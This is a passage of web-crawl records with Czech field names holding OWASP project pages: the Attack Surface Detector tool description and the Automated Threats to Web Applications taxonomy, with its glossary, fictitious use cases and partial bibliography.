"2026-09-14 14:34:02", "sha256": "e3db1c41faed9bca84d4eb1bdc2f839eba6991dc0b48b11c25af8c769f9b057f", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://github.com/jtmelton/appsensor", "https://www.lulu.com/en/us/shop/owasp-foundation/appsensor-guide/paperback/product-1v92q7d8.html?page=1&pageSize=4", "http://www.appsensor.org/", "http://www.owasp.org/index.php/Category:OWASP_AppSensor_Project", "http://www.owasp.org/index.php/ApplicationLayerIntrustionDetection", "http://www.owasp.org/index.php/AppSensor_DetectionPoints", "http://www.owasp.org/index.php/File:Owasp-appsensor-responses.pdf", "https://github.com/owasp/www-project-appsensor/subscription", "https://github.com/owasp/www-project-appsensor", "https://appsensor.org/", "https://opensource.org/licenses/MIT", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-attack-surface-detector/", "titulek": "OWASP Attack Surface Detector | OWASP Foundation", "h1": "OWASP Attack Surface Detector", "popis": "OWASP Attack Surface Detector on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-attack-surface-detector/", "jazyk": "en", "robots_meta": "", "og": {"og:description": "OWASP Attack Surface Detector on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "OWASP Attack Surface Detector | OWASP Foundation", "og:url": "https://owasp.org/www-project-attack-surface-detector/", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "OWASP Attack Surface Detector"}, {"uroven": 3, "text": "Introduction"}, {"uroven": 3, "text": "What is the Attack Surface Detector?"}, {"uroven": 3, "text": "How it Works"}, {"uroven": 3, "text": "Supported Languages and Frameworks"}, {"uroven": 3, "text": "Roadmap"}, {"uroven": 3, "text": "Getting Involved"}, {"uroven": 3, "text": "Licensing"}, {"uroven": 3, "text": "Acknowledgements"}], "markdown": "# OWASP Attack Surface Detector\n\n### Introduction\n\nDuring web application penetration testing, it is important to enumerate your application’s attack surface. While Dynamic Application Security Testing (DAST) tools (such as [OWASP ZAP](https://www2.owasp.org/www-project-zap/) and [PortSwigger Burp Suite](https://portswigger.net/)) are good at spidering to identify application attack surfaces, they will often fail to identify unlinked endpoints, optional parameters, and parameter datatypes and name. These endpoints and parameters not found often go untested, which can leave your application open to an attacker.\n\n### What is the Attack Surface Detector?\n\nThe Attack Surface Detector tool uncovers the endpoints of a web application, the parameters these endpoints accept, and the data type of those parameters. This includes the unlinked endpoints a spider won’t find in client-side code, or optional parameters totally unused in client-side code. It also has the capability to calculate the changes in attack surface between two versions of an application.\n\nThe Attack Surface Detector is available as a plugin to both ZAP and Burp Suite, and a Command Line Interface (CLI) tool is also available. The CLI tool exports the attack surface as a JSON output, which can then be used by the ZAP and Burp Suite plugin. This is helpful for cases where the source code is not provided to the penetration tester directly. The CLI tool can also be used for other custom integration where you want to discover an application attack surface or changes in the attack surface.\n\nFor a quick overview of the Attack Surface Detection tool, see this YouTube video:\n\nBelow is a screenshot of the Burp Suite Attack Surface Detector plugin where you can see a list of endpoints, endpoint details, and their corresponding requests:\n\n### How it Works\n\nThe Attack Surface Detector performs static code analyses to identify web application endpoints by parsing routes and identifying parameters (with supported languages and frameworks). This data is made available in ZAP and Burp Suite to help improve testing coverage.\n\n### Supported Languages and Frameworks\n\n- **Java:** JSPs, Servlets, Struts, Spring MVC\n- **C#:** ASP.NET MVC, Web Forms\n- **Ruby:** Rails\n- **Python:** Django\n\n### Roadmap\n\nWe continue to improve the attack surface detection accuracy for existing supported languages and frameworks, and we are looking to add additional language support, particularly for PHP and Python. If there are any PHP or Python developers that are looking to contribute, [please let us know](mailto:info@codedx.com).\nWe are also looking to extend ASD for use in automated headless usage of ZAP and Burp and move the ASD ZAP plugin out of alpha classification, which requires [internationalization](https://github.com/zaproxy/zap-extensions/wiki/AddOnsBeta). If anyone can help, we would love your contributions.\nFinally, we are really interested in what the community thinks will help improve ASD and we will adjust our roadmap based on that feedback.\n\n### Getting Involved\n\nContributions to the Attack Surface Detector project are encouraged and welcome. Additions of new features and enhancements can be provided through GitHub. We are eager to get user feedback, so please [reach out to us](mailto:info@codedx.com) or fill out this [ASD survey](https://www.surveymonkey.com/r/D2N87GB).\n\n### Licensing\n\nThe Attack Surface Detector plugin is free to use. It is licensed under the [link Mozilla Public License 2.0](https://www.mozilla.org/en-US/MPL/2.0/).\n\n### Acknowledgements\n\nThe Attack Surface Detection project is led by [Code Dx](https://codedx.com/) and was developed by [Secure Decisions](https://securedecisions.com/) in collaboration with [Denim Group](https://www.denimgroup.com/) under a research grant sponsored by the Department of Homeland Security (DHS) Science and Technology Directorate, Cyber Security Division (DHS S&T/CSD), BAA via contract number HHSP233201600058C.\n\n---\n\n[Watch](https://github.com/owasp/www-project-attack-surface-detector/subscription) [Star](https://github.com/owasp/www-project-attack-surface-detector)", "znaku_textu": 4055, "slov": 574, "odkazu": 51, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 13:44:54", "sha256": "6f95283e06bf241af4cc7615e2b0e656ab38109f26d84841d4819f38b07b3e36", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://www2.owasp.org/www-project-zap/", "https://portswigger.net/", "https://www.youtube.com/watch?feature=player_embedded&v=MkJ_NVNsrFw", "https://github.com/zaproxy/zap-extensions/wiki/AddOnsBeta", "https://www.surveymonkey.com/r/D2N87GB", "https://www.mozilla.org/en-US/MPL/2.0/", "https://codedx.com/", "https://securedecisions.com/", "https://www.denimgroup.com/", "https://github.com/owasp/www-project-attack-surface-detector/subscription", "https://github.com/owasp/www-project-attack-surface-detector", "https://github.com/secdec/attack-surface-detector-zap/releases", "https://github.com/secdec/attack-surface-detector-zap/wiki", "https://github.com/secdec/attack-surface-detector-zap/issues", "https://github.com/secdec/attack-surface-detector-zap", "https://github.com/secdec/attack-surface-detector-burp/releases", "https://github.com/secdec/attack-surface-detector-burp/wiki", "https://github.com/secdec/attack-surface-detector-burp/issues", "https://github.com/secdec/attack-surface-detector-burp", "https://github.com/secdec/attack-surface-detector-cli/releases", "https://github.com/secdec/attack-surface-detector-cli/wiki", "https://github.com/secdec/attack-surface-detector-cli/issues", "https://github.com/secdec/attack-surface-detector-cli", "https://twitter.com/codedx", "https://owasp-slack.herokuapp.com/", "https://www.owasp.org/www-project-zap/", "https://www.owasp.org/www-project-code-pulse/", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-automated-threats-to-web-applications", "titulek": "OWASP Automated Threats to Web Applications | OWASP Foundation", "h1": "OWASP Automated Threats to Web Applications", "popis": "OWASP Automated Threats to Web Applications on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-automated-threats-to-web-applications/", "jazyk": "en", "robots_meta": "", "og": {"og:description": "OWASP Automated Threats to Web Applications on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "OWASP Automated Threats to Web Applications | OWASP Foundation", "og:url": "https://owasp.org/www-project-automated-threats-to-web-applications/", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "OWASP Automated Threats to Web Applications"}, {"uroven": 2, "text": "Description"}, {"uroven": 2, "text": "Automated Threats"}, {"uroven": 2, "text": "Licensing"}, {"uroven": 2, "text": "Scope and Definitions"}, {"uroven": 3, "text": "Scope"}, {"uroven": 3, "text": "Definitions"}, {"uroven": 4, "text": "Automated Threats to Web Applications"}, {"uroven": 3, "text": "Glossary"}, {"uroven": 4, "text": "Action"}, {"uroven": 4, "text": "Application"}, {"uroven": 4, "text": "Application layer"}, {"uroven": 4, "text": "Threat"}, {"uroven": 4, "text": "Threat Agent"}, {"uroven": 4, "text": "Threat Event"}, {"uroven": 4, "text": "Web"}, {"uroven": 4, "text": "Web application"}, {"uroven": 2, "text": "Use Case Scenarios"}, {"uroven": 3, "text": "Defining application development security requirements"}, {"uroven": 3, "text": "Sharing intelligence within a sector"}, {"uroven": 3, "text": "Exchanging threat data between CERTs"}, {"uroven": 3, "text": "Enhancing application penetration test findings"}, {"uroven": 3, "text": "Specifying service acquisition needs"}, {"uroven": 3, "text": "Characterising vendor services"}, {"uroven": 2, "text": "Ontology"}, {"uroven": 3, "text": "Introduction"}, {"uroven": 3, "text": "Comparison with other dictionaries, taxonomies and lists"}, {"uroven": 4, "text": "Common Attack Pattern Enumeration and Classification (CAPEC)"}, {"uroven": 4, "text": "WASC Threat Classification"}, {"uroven": 4, "text": "OWASP WASC Web Hacking Incidents Database Project (WHID)"}, {"uroven": 2, "text": "Bibliography"}, {"uroven": 2, "text": "Frequently Asked Questions"}, {"uroven": 3, "text": "When will it be updaated next?"}, {"uroven": 3, "text": "What do you mean by “web”, “application” and “automated threat”?"}, {"uroven": 3, "text": "What is an “ontology”?"}, {"uroven": 3, "text": "Isn’t this another bug (vulnerability) list?"}, {"uroven": 3, "text": "But is it an OWASP Top N List?"}, {"uroven": 3, "text": "I thought “so and so” already did that?"}, {"uroven": 3, "text": "What is an “oat”?"}, {"uroven": 3, "text": "I am confused and don’t know which OAT my problem is - how do I identify it?"}, {"uroven": 2, "text": "How can I help?"}, {"uroven": 2, "text": "Acknowledgements and Sponsors"}, {"uroven": 3, "text": "Contributors"}, {"uroven": 3, "text": "Reviewers of v1.0"}, {"uroven": 3, "text": "Sponsors"}, {"uroven": 2, "text": "Road Map and Getting Involved"}], "markdown": "# OWASP Automated Threats to Web Applications\n\nThe OWASP Automated Threats to Web Applications Project completed a review of reports, academic and other papers, news stories and vulnerability taxonomies/listings to identify, name and classify these scenarios – automated by software causing a divergence from accepted behavior producing one or more undesirable effects on a web application, but excluding tool-based exploitation of single-issue vulnerabilities. The initial objective was to produce an ontology providing a common language for developers, architects, operators, business owners, security engineers, purchasers and suppliers/ vendors, to facilitate clear communication and help tackle the issues. The project also identifies symptoms, mitigations and controls in this problem area. The project team monitor changes and possible additions to keep the handbook updated. Like all OWASP outputs, everything is free and published using an open source license.\n\nWatch a video which provides a brief introduction to the OWASP Automated Threats to Web Applications Project called “Automated Threats - Web’s Hidden Puppeteers”:\n\n## Description\n\nWeb applications are subjected to unwanted automated usage – day in, day out. Often these events relate to misuse of inherent valid functionality, rather than the attempted exploitation of unmitigated vulnerabilities. Also, excessive misuse is commonly mistakenly reported as application denial-of-service (DoS) like HTTP-flooding, when in fact the DoS is a side-effect instead of the primary intent. Frequently these have sector-specific names. Most of these problems seen regularly by web application owners are not listed in any OWASP Top Ten or other top issue list. Furthermore, they are not enumerated or defined adequately in existing dictionaries. These factors have contributed to inadequate visibility, and an inconsistency in naming such threats, with a consequent lack of clarity in attempts to address the issues.\n\nWithout sharing a common language between devops, architects, business owners, security engineers, purchasers and suppliers/vendors, everyone has to make extra effort to communicate clearly. Misunderstandings can be costly. The adverse impacts affect the privacy and security of individuals as well as the security of the applications and related system components.\n\n## Automated Threats\n\nThe list of threat events, defined more fully in the [OWASP Automated Threat Handbook](https://github.com/OWASP/www-project-automated-threats-to-web-applications/tree/master/assets/files/EN), is alphabetically:\n\n- [OAT-020 Account Aggregation](assets/oats/EN/OAT-020_Account_Aggregation.html)\n- [OAT-019 Account Creation](assets/oats/EN/OAT-019_Account_Creation.html)\n- [OAT-003 Cost-Inflation Fraud](assets/oats/EN/OAT-003_Cost-Inflation_Fraud.html)\n- [OAT-009 CAPTCHA Defeat](assets/oats/EN/OAT-009_CAPTCHA_Defeat.html)\n- [OAT-010 Card Cracking](assets/oats/EN/OAT-010_Card_Cracking.html)\n- [OAT-001 Carding](assets/oats/EN/OAT-001_Carding.html)\n- [OAT-012 Cashing Out](assets/oats/EN/OAT-012_Cashing_Out.html)\n- [OAT-007 Credential Cracking](assets/oats/EN/OAT-007_Credential_Cracking.html)\n- [OAT-008 Credential Stuffing](assets/oats/EN/OAT-008_Credential_Stuffing.html)\n- [OAT-021 Denial of Inventory](assets/oats/EN/OAT-021_Denial_of_Inventory.html)\n- [OAT-015 Denial of Service](assets/oats/EN/OAT-015_Denial_of_Service.html)\n- [OAT-006 Expediting](assets/oats/EN/OAT-006_Expediting.html)\n- [OAT-004 Fingerprinting](assets/oats/EN/OAT-004_Fingerprinting.html)\n- [OAT-018 Footprinting](assets/oats/EN/OAT-018_Footprinting.html)\n- [OAT-005 Scalping](assets/oats/EN/OAT-005_Scalping.html)\n- [OAT-011 Scraping](assets/oats/EN/OAT-011_Scraping.html)\n- [OAT-016 Skewing](assets/oats/EN/OAT-016_Skewing.html)\n- [OAT-013 Sniping](assets/oats/EN/OAT-013_Sniping.html)\n- [OAT-017 Spamming](assets/oats/EN/OAT-017_Spamming.html)\n- [OAT-002 Token Cracking](assets/oats/EN/OAT-002_Token_Cracking.html)\n- [OAT-014 Vulnerability Scanning](assets/oats/EN/OAT-014_Vulnerability_Scanning.html)\n\nNot sure which is which? Use the [threat identification chart](/www-project-automated-threats-to-web-applications/assets/files/oat-ontology-decision-chart.pdf) in conjunction with the [full handbook](https://github.com/OWASP/www-project-automated-threats-to-web-applications/tree/master/assets/files/EN).\n\nWe have also created a poster summarising all the OATs called “The Web’s Unwanted Bad Bots”:\n\nThis poster is also available as a [PDF](/www-project-automated-threats-to-web-applications/assets/files/oat-poster-1v3-3.pdf).\n\n## Licensing\n\nAll the materials are free to use. They are licensed under the [Creative Commons Attribution-ShareAlike 3.0 license](http://creativecommons.org/licenses/by-sa/3.0/), so you can copy, distribute and transmit the work, and you can adapt it, and use it commercially, but all provided that you attribute the work and if you alter, transform, or build upon this work, you may distribute the resulting work only under the same or similar license to this one.\n\n© OWASP Foundation\n\n---\n\n## Scope and Definitions\n\n### Scope\n\nThe aim was to create a listing of vendor-neutral and technology agnostic terms that describe real-world automated threats to web applications, at a level of abstraction that application owners can relate to. These terms are threat events to web applications undertaken using automated actions.\n\nThe focus is on abuse of functionality - misuse of inherent functionality and related design flaws, some of which are also referred to as business logic flaws. There is almost no focus on implementation bugs. It is not that the latter are not the target for attacks, but there is much more knowledge published in that area with a greater agreement on terminology. All the scenarios identified must require the web to exist for the threat to be materialised. Many of the scenarios have impacts upon the organisation that owns or operates web applications, but some scenarios have impacts more focused on individuals or other bodies. An attack that can be achieved without the web is out of scope.\n\n### Definitions\n\n#### Automated Threats to Web Applications\n\nThreat events to web applications undertaken using automated actions.\n\nAn attack that can be achieved without the web is out of scope.\n\n### Glossary\n\n#### Action\n\nAn act taken against an asset by a threat agent. Requires first that contact occurs between the asset and threat agent (Ref 1)\n\n#### Application\n\nSoftware that performs a business process i.e. not system software\n\nA software program hosted by an information system (Ref 2)\n\n#### Application layer\n\n“Layer 7” in the OSI model (Ref 3) and “application layer” in the TCP/IP model (Ref 4)\n\n#### Threat\n\nAnything that is capable of acting in a manner resulting in harm to an asset and/or organization; for example, acts of God (weather, geological events, etc.); malicious actors; errors; failures (Ref 1)\n\n#### Threat Agent\n\nAny agent (e.g., object, substance, human, etc.) that is capable of acting against an asset in a manner that can result in harm (Ref 1)\n\n#### Threat Event\n\nOccurs when a threat agent acts against an asset (Ref 1)\n\n#### Web\n\nThe World Wide Web (WWW, or simply Web) is an information space in which the items of interest, referred to as resources, are identified by global identifiers called Uniform Resource Identifiers (URI) (Ref 5)\n\nThe first three specifications for Web technologies defined URLs, HTTP, and HTML (Ref 6)\n\n#### Web application\n\nAn application delivered over the web\n\nGlossary references:\n\n1. [Risk Taxonomy, Technical Standard, The Open Group, 2009](http://pubs.opengroup.org/onlinepubs/9699919899/toc.pdf)\n2. [NISTIR 7298 rev 2, NIST](http://nvlpubs.nist.gov/nistpubs/ir/2013/NIST.IR.7298r2.pdf)\n3. [OSI model, Wikipedia](http://en.wikipedia.org/wiki/OSI_model)\n4. [TCP/IP model, Wikipedia](http://en.wikipedia.org/wiki/Internet_protocol_suite)\n5. [Architecture of the World Wide Web, Volume One, W3C](http://www.w3.org/TR/webarch/)\n6. [Help and FAQ, W3C](http://www.w3.org/Help/)\n\n---\n\n## Use Case Scenarios\n\nThe following scenarios and organisation names are completely fictitious.\n\n### Defining application development security requirements\n\nCinnaminta SpA intends to build and launch a new multi-lingual and multi-currency ecommerce website. The development will be outsourced and Cinnaminta has been working on the functional design document. Among many other requirements, the application security specification requires that the website must not include any vulnerabilities identified in PCI DSS Requirements, nor any other vulnerabilities that could affect the protection of payment cardholder data. Cinnaminta specifies that the website’s payment functions must not be susceptible to the threat events **OAT-001 Carding** or **OAT-010 Card Cracking** as defined in the **OWASP Automated Threat Handbook**. In addition, the application must interact with the company’s existing fraud detection system to counter **OAT-012 Cashing Out**. The requirements are specified in terms of these threat events, rather than particular product or service categories. Development houses responding to the call for bids use the ontology to focus their answers to these aspects appropriately.\n\n### Sharing intelligence within a sector\n\nUnlimited Innovations Inc develops and supports patient-facing software solutions to a range of healthcare providers, many of which participate in the National Health Service Cyber Intelligence Sharing Center (NHS-CISC). Unlimited Innovations already builds continuous monitoring capabilities into its software and decides to provide an optional enhancement so that customers could choose to share their misuse event data with each other, to benefit from the combined threat intelligence. Rather than sharing large quantities of low-level data, Unlimited Innovations aggregates information and broadcasts validated and categorised threat data amongst the participating organisations. Automation attacks are classified according to the threat events defined in the **OWASP Automated Threat Handbook** so that each receiving party understands the nature of the threat. Even organisations that do not want to take part in this information sharing can benefit, since their own categorised information is made available to internal business management in the form of an easy-to-comprehend monitoring dashboard. The information gathered can also be fed into their other business information management systems to help improve patient service.\n\n### Exchanging threat data between CERTs\n\nNational Computer Emergency Response Teams (CERTs) recognise that sharing of local information can contribute to worldwide prevention of cyber attacks. Despite advances in cooperation between CERTs, anything to increase continuity and interoperability, such as standards for data exchange, is encouraged. CERT Zog is concerned about the sparsity of application-specific data it receives, and also the classification of that data. It has a particular concern about attacks and breaches that affect sectors defined in Zog’s 2015 national cyber security strategy. CERT Zog and its neighbour CERT Tarset agree to tag threat events using the **OWASP Automated Threat Handbook** in order to add greater context to existing solutions being used for threat data exchange between them. The programme also collects sector metadata, so that all organisations within these can benefit from the centralised intelligence.\n\n### Enhancing application penetration test findings\n\nSpecialist application security penetration testing firm Cherak Industries Pte Ltd works primarily for financial services companies in the banking and insurance sectors, and is looking to expand its business throughout Asia. Cherak has some innovative pen test result reporting systems which integrate with client software fault and vulnerability tracking systems, and it actively looks for methods to provide additional value to its clients. Cherak has identified that pen test clients would benefit from help to in understanding the effects of combinations of vulnerabilities, especially design flaws, and has decided to utilise the **OWASP Automated Threat Handbook** to define and explain the automation-related threats. The individual vulnerabilities were scored as normal using CVSSv2 and v3, the matching CWEs identified, and mitigations in place documented. In addition, Cherak uses the threat events defined in the **OWASP Automated Threat Handbook** to help create a new section in the executive summary that explains how combinations of the issues found could lead to automation threats and the possible technical and business impacts. For example, an assessment for one client had identified weaknesses in authentication so that there is a risk of **OAT-008 Credential Stuffing**. The defined identifier was provided to the client, so its technical staff could refer to additional information on the OWASP website.\n\n### Specifying service acquisition needs\n\nFalstone Paradise Inc is concerned about malicious use of their portfolio of hotel and resort websites. The majority of the websites use a shared application platform, but there are some unique applications and a large number of other micro-sites, some of which use generic content management systems such as Wordpress and Drupal. Falstone Paradise has identified that its IT operations team are spending too much time dealing with the effects of automated misuse, such as cleaning up data, resetting customer accounts and providing extra capacity during attacks. Furthermore, the unwanted automation is also causing some instabilities leading to negative feedback from customers. Therefore Falstone Paradise decides to go out to the security marketplace to identify, assess and select products or services that might help address these automation issues for all its websites. Their buying team works with their information technology colleagues to write the detailed requirements in an Invitation to Tender (ITT) document. This describes the types of attacks its web applications are receiving, their frequency of occurrence and their magnitudes. These are defined according to the **OWASP Automated Threat Handbook**, so that vendors do not misunderstand the requirements, and each vendor’s offering can be assessed against the particular automation threat events of concern.\n\n### Characterising vendor services\n\nBetter Best Ltd has developed an innovative technology to help gaming companies defend against a range of automated threats that can otherwise permit cheating and distortion of the game, leading to disruption for normal players. The solution can be deployed on premises, but is also available in the cloud as a service. But Better Best is finding difficulty explaining its solution in the market place, especially since it does not fit into any conventional product category. Better Best decide to use the terminology and threat events listed in the **OWASP Automated Threat Handbook** to define their product’s capabilities. They hope this will provide some clarity about their offering, and also demonstrate how their product can be used to replace more than one other conventional security device. Additionally, Better Best writes a white paper describing how their product has been successfully used by one of their reference customers Hollybush Challenge Games to protect against **OAT-006 Expediting**, **OAT-005 Scalping**, **OAT-016 Skewing** and **OAT-013 Sniping**.\n\n---\n\n## Ontology\n\n### Introduction\n\nThe A-Z list of automated threat events and summary descriptions, defined in full in the [OWASP Automated Threat Handbook](https://github.com/OWASP/www-project-automated-threats-to-web-applications/tree/master/assets/files/EN), is:\n\n| Identifier | OAT Name | Summary Defining Characteristics |\n| --- | --- | --- |\n| [OAT-020](assets/oats/EN/OAT-020_Account_Aggregation.html) | Account Aggregation | Use by an intermediary application collecting together multiple accounts and interacting on their behalf |\n| [OAT-019](assets/oats/EN/OAT-019_Account_Creation.html) | Account Creation | Create multiple accounts for subsequent misuse |\n| [OAT-003](assets/oats/EN/OAT-003_Cost-Inflation_Fraud.html) | Cost-Inflation Fraud | Mass use of functionality to illegitamately profit from chargeable supporting services |\n| [OAT-009](assets/oats/EN/OAT-009_CAPTCHA_Defeat.html) | CAPTCHA Defeat | Solve anti-automation tests |\n| [OAT-010](assets/oats/EN/OAT-010_Card_Cracking.html) | Card Cracking | Identify missing start/expiry dates and security codes for stolen payment card data |\n| [OAT-001](assets/oats/EN/OAT-001_Carding.html) | Carding | Multiple payment authorisation attempts to verify the validity of bulk stolen payment card data |\n| [OAT-012](assets/oats/EN/OAT-012_Cashing_Out.html) | Cashing Out | Buy goods or obtain cash utilising validated stolen payment card or other user account data |\n| [OAT-007](assets/oats/EN/OAT-007_Credential_Cracking.html) | Credential Cracking | Identify valid login credentials by trying different values for usernames and/or passwords |\n| [OAT-008](assets/oats/EN/OAT-008_Credential_Stuffing.html) | Credential Stuffing | Mass log in attempts used to verify the validity of stolen username/password pairs |\n| [OAT-021](assets/oats/EN/OAT-021_Denial_of_Inventory.html) | Denial of Inventory | Deplete goods or services stock without completing the purchase or committing to the transaction |\n| [OAT-015](assets/oats/EN/OAT-015_Denial_of_Service.html) | Denial of Service | Target resources of the application and database servers, or individual user accounts, reducing availability |\n| [OAT-006](assets/oats/EN/OAT-006_Expediting.html) | Expediting | Perform actions to hasten progress of usually slow, tedious or time-consuming actions |\n| [OAT-004](assets/oats/EN/OAT-004_Fingerprinting.html) | Fingerprinting | Elicit information about the supporting software and framework types and versions |\n| [OAT-018](assets/oats/EN/OAT-018_Footprinting.html) | Footprinting | Probe and explore application to identify its constituents and properties |\n| [OAT-005](assets/oats/EN/OAT-005_Scalping.html) | Scalping | Obtain limited-availability and/or preferred goods/services by unfair methods |\n| [OAT-011](assets/oats/EN/OAT-011_Scraping.html) | Scraping | Collect application content and/or other data for use elsewhere |\n| [OAT-016](assets/oats/EN/OAT-016_Skewing.html) | Skewing | Repeated link clicks, page requests or form submissions intended to alter some metric |\n| [OAT-013](assets/oats/EN/OAT-013_Sniping.html) | Sniping | Last minute bid or offer for goods or services |\n| [OAT-017](assets/oats/EN/OAT-017_Spamming.html) | Spamming | Malicious or questionable information addition to public or private content, or messages |\n| [OAT-002](assets/oats/EN/OAT-002_Token_Cracking.html) | Token Cracking | Mass enumeration of coupon numbers, voucher codes, discount tokens, etc |\n| [OAT-014](assets/oats/EN/OAT-014_Vulnerability_Scanning.html) | Vulnerability Scanning | Crawl and fuzz application to identify weaknesses and possible vulnerabilities |\n| | | |\n\n### Comparison with other dictionaries, taxonomies and lists\n\n#### [Common Attack Pattern Enumeration and Classification](https://capec.mitre.org/) (CAPEC)\n\nCAPEC is a dictionary and classification taxonomy of known attacks on software. Its primary classification structures are:\n\n- [Domains of attack](https://capec.mitre.org/data/definitions/3000.html) (3000) - Social Engineering (403), [Supply Chain](https://capec.mitre.org/data/definitions/437.html) (437), Communications (512), [Software](https://capec.mitre.org/data/definitions/513.html) (513), Physical Security (514), Hardware (515)\n- Mechanism of Attack (1000) - Gather Information (118), Deplete Resources (119), Injection (152), Deceptive Interactions (156), Manipulate Timing and State (172), Abuse of Functionality (210), Probabilistic Techniques (223), Exploitation of Authentication (225), Exploitation of Authorization (232), Manipulate Data Structures (255), Manipulate Resources (262), Analyze Target (281), Gain Physical Access (436), Malicious Code Execution (525), Alter System Components (526), Manipulate System Users (527)\n\n#### [WASC Threat Classification](http://projects.webappsec.org/w/page/13246978/Threat%20Classification)\n\nThe WASC Threat Classification classifies weaknesses and attacks that can lead to the compromise of a website, its data, or its users.\n\n#### [OWASP WASC Web Hacking Incidents Database Project](https://wiki.owasp.org/index.php/OWASP_WASC_Web_Hacking_Incidents_Database_Project) (WHID)\n\nWHID classifies publicly known incidents using:\n\n- attack methods e.g. ARP spoofing, abuse of functionality, account compromise, administration error, automation, backdoor, banking trojan, brute force, clickjacking, code injection, content injection, content spoofing, credential/session prediction, cross site request forgery (CSRF), cross-site scripting (XSS), denial of service, directory traversal, domain hijacking, DNS hijacking, forceful browsing, HTTP response splitting, hidden parameter manipulation, hosting malicious code, information leakage, insufficient authentication, known vulnerability, local file inclusion (LFI), malvertising, malware, malware injection, mass assignment, misconfiguration, OS commanding, parameter manipulation, path traversal, phishing, predictable resource location, process automation, redirection, remote file inclusion (RFI), rogue 3rd party app, scaping, search engine poisoning, shell injection, social engineering, stolen credentials, SQL injection, unintentional information disclosure, weak password recovery validation, worm\n- weakness e.g. abuse of functionality, application misconfiguration, directory indexing, improper filesystem permissions, improper input handling, improper output handling, information leakage, insecure indexing, insufficient anti-automation, insufficient authentication, insufficient authorization, insufficient entropy, insufficient password recovery, insufficient process validation, insufficient session expiration, insufficient transport layer protection, misconfiguration, predictable resource location, weak password\n- outcome e.g. account hijacking, account takeover, botnet participation, chaos, credit card leakage, data loss, defacement, DDoS attacks, DNS hijacking, DNS redirection, disinformation, disclosure only, downtime, extortion, fraud, information warfare, leakage of information, link spam, loss of sales, malware distribution, monetary loss, phishing, planting of malware, service disruption, session hijacking, spam, spam links, stolen credentials, worm\nPlus other/various/unknown.\n\n---\n\n## Bibliography\n\nThe following academic, open source, commercial and news sources were used in the research on automated threats to web applications. OWASP is a worldwide not-for-profit charitable organization focused on improving the security of software. We operate under a vendor neutral policy and we do not endorse products or services.\n\n- 10 years of Application Security, Denyall http://www.denyall.com/resources/whitepapers/?aliId=3438442\n- 2012 Payment Card Threat Report https://www.securitymetrics.com/static/resources/orange/2012%20Payment%20Card%20Threat%20Report%20copy.pdf\n- 2014 Bot Traffic Report: Just the Droids You were Looking for http://www.incapsula.com/blog/bot-traffic-report-2014.html\n- 3 Types of ‘Return Fraud’ to Monitor this Holiday Season http://www.practicalecommerce.com/articles/3168-3-Types-of-%E2%80%98Return-Fraud-to-Monitor-this-Holiday-Season\n- 7 Ways Bots Hurt Your Website, Distil Networks http://www.distilnetworks.com/7-ways-bots-hurt-website-whitepaper/\n- Abusing HTML 5 Structured Client-side Storage 2008 http://packetstorm.wowhacker.com/papers/general/html5whitepaper.pdf\n- Acquiring Experience with Ontology and Vocabularies, Walt Melo, Risa Mayan and Jean Stanford, 2011 http://www.omg.org/news/meetings/workshops/SOA-HC/presentations-2011/13_SC-6_Melo_Stanford_Mayan.pdf\n- An Anatomy of a SQL Injection Attack Hacker Intelligence Initiative Imperva http://www.imperva.com/docs/HII_An_Anatomy_of_a_SQL_Injection_Attack_SQLi.pdf\n- The Anatomy of Clickbot.A https://www.usenix.org/legacy/event/hotbots07/tech/full_papers/daswani/daswani.pdf\n- Anatomy of comment spam Hacker Intelligence Initiative Imperva http://www.imperva.com/docs/HII_Anatomy_of_Comment_Spam.pdf\n- Anti-Automation Monitoring and Prevention 2015 https://www.clerkendweller.uk/2015/1/29/AntiAutomation-Monitoring-and-Prevention\n- Anti-DDoS Solution for Internet Corporation http://www.nsfocus.com/uploadfile/Solution/NSFOCUS%20Anti-DDoS%20Solution%20for%20Internet%20Corporation.pdf\n- Anti-Fraud Principles and Proposed Taxonomy Sep 2014 http://www.iab.net/media/file/IAB_Anti_Fraud_Principles_and_Taxonomy.pdf\n- Apache Security Ivan Ristic\n- Application Security Desk Reference, OWASP https://www.owasp.org/index.php/Category:OWASP_ASDR_Project\n- Application Security Guide For CISOs, OWASP, 2013 https://www.owasp.org/index.php/File:Owasp-ciso-guide.pdf\n- AppSensor, OWASP https://www.owasp.org/index.php/OWASP_AppSensor_Project\n- Attack & Defense Labs http://www.andlabs.org/html5.html\n- Attack categories OWASP https://www.owasp.org/index.php/Category:Attack\n- Attack Trees, Schneier, Dr. Dobb’s Journal, December 1999 https://www.schneier.com/paper-attacktrees-ddj-ft.html\n- Attacking with HTML5 2010 https://media.blackhat.com/bh-ad-10/Kuppan/Blackhat-AD-2010-Kuppan-Attacking-with-HTML5-wp.pdf\n- Automated attacks Hacker Intelligence Initiative Imperva http://www.imperva.com/docs/HII_Automation_of_Attacks.pdf\n- 